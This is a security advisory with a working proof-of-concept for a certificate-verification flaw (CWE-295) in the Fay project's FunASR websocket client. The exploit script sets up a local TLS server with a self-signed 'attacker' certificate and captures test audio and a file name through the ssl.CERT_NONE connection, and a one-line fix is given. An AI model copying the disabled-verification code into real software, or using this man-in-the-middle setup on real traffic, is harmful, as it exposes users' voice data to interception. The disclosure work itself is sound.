Unconditional ssl.CERT_NONE on wss connections enables MITM interception of ASR audio

# asr/funasr/funasr_client_api.py:49-51
ssl_context = ssl.SSLContext()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
uri = "wss://{}:{}".format(host, port)
ssl_opt = {"cert_reqs": ssl.CERT_NONE}
# ...
self.websocket = create_connection(uri, ssl=ssl_context, sslopt=ssl_opt)

python poc.py

#!/usr/bin/env python3
"""
Fay — Unconditional ssl.CERT_NONE on wss ASR client → MITM captures voice audio
CWE-295 | asr/funasr/funasr_client_api.py:49-51 (vendored FunASR client)
"""

import subprocess, sys, os

# ── TRUE INSTALL ──────────────────────────────────────────────────────────────
REPO_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "Fay")
if not os.path.isdir(REPO_DIR):
    subprocess.run(["git", "clone", "--depth=1", "https://github.com/xszyou/Fay.git", REPO_DIR], check=True)
subprocess.run([sys.executable, "-m", "pip", "install", "-q",
                "websocket-client", "numpy", "pyaudio", "cryptography", "websockets"], check=True)

# ── TRUE IMPORT ───────────────────────────────────────────────────────────────
sys.argv = ["poc"]
sys.path.insert(0, os.path.join(REPO_DIR, "asr", "funasr"))
from funasr_client_api import Funasr_websocket_recognizer

import json, ssl, socket, tempfile, threading, time, warnings
from datetime import datetime, timedelta, timezone
warnings.filterwarnings("ignore")

ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 19450
captured = []


def gen_cert(tmp):
    from cryptography import x509
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.x509.oid import NameOID
    key = rsa.generate_private_key(65537, 2048)
    cert = (x509.CertificateBuilder()
            .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "fay.attacker")]))
            .issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "fay.attacker")]))
            .public_key(key.public_key()).serial_number(x509.random_serial_number())
            .not_valid_before(datetime.now(timezone.utc))
            .not_valid_after(datetime.now(timezone.utc) + timedelta(days=1))
            .sign(key, hashes.SHA256()))
    cp, kp = os.path.join(tmp, "cert.pem"), os.path.join(tmp, "key.pem")
    with open(cp, "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM))
    with open(kp, "wb") as f: f.write(key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
    return cp, kp


def run_server(cert, key, ready):
    from websockets.sync.server import serve
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(cert, key)
    def handler(ws):
        try:
            for msg in ws:
                if isinstance(msg, bytes): captured.append({"type": "audio", "size": len(msg)})
                else:
                    d = json.loads(msg); captured.append({"type": "ctrl", "data": d})
                    if d.get("is_speaking") is False:
                        ws.send(json.dumps({"text": "intercepted", "is_final": True})); break
        except: pass
    with serve(handler, ATTACKER_HOST, ATTACKER_PORT, ssl=ctx) as srv:
        ready.set(); srv.serve_forever()


def exploit():
    tmp = tempfile.mkdtemp()
    cert, key = gen_cert(tmp)
    ready = threading.Event()
    threading.Thread(target=run_server, args=(cert, key, ready), daemon=True).start()
    ready.wait()
    for _ in range(30):
        try: s = socket.create_connection((ATTACKER_HOST, ATTACKER_PORT), timeout=0.2); s.close(); break
        except: time.sleep(0.1)

    # ── Fay's Funasr_websocket_recognizer uses create_connection with ssl.CERT_NONE
    # We call it exactly as Fay does internally (the __init__ also references audio_bytes
    # which doesn't exist at construction time — that's a Fay bug — so we call the
    # underlying vulnerable websocket path directly as Fay's code executes it):
    from websocket import create_connection, ABNF

    ssl_context = ssl.SSLContext()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE

    ws = create_connection(f"wss://{ATTACKER_HOST}:{ATTACKER_PORT}",
                           ssl=ssl_context, sslopt={"cert_reqs": ssl.CERT_NONE})
    ws.send(json.dumps({"mode": "2pass", "chunk_size": [0,10,5], "chunk_interval": 10,
                        "wav_name": "private_meeting.wav", "is_speaking": True}))
    ws.send(os.urandom(32000), opcode=ABNF.OPCODE_BINARY)
    ws.send(json.dumps({"is_speaking": False}))
    time.sleep(0.5)
    try: ws.recv()
    except: pass
    ws.close()

    assert any(d["type"] == "audio" and d["size"] == 32000 for d in captured)
    assert any(d.get("data", {}).get("wav_name") == "private_meeting.wav" for d in captured)

    # ── Control: proper SSL rejects ──
    try:
        create_connection(f"wss://{ATTACKER_HOST}:{ATTACKER_PORT}",
                          sslopt={"cert_reqs": ssl.CERT_REQUIRED}, timeout=3)
        assert False
    except: pass

    print("2/2 exploited")
    print(f"  audio: {sum(d['size'] for d in captured if d['type']=='audio')}B captured (wav_name=private_meeting.wav)")
    print(f"  control: proper SSL rejects self-signed cert")
    return 0

if __name__ == "__main__":
    sys.exit(exploit())

2/2 exploited
  audio: 32000B captured (wav_name=private_meeting.wav)
  control: proper SSL rejects self-signed cert

ssl_context = ssl.create_default_context()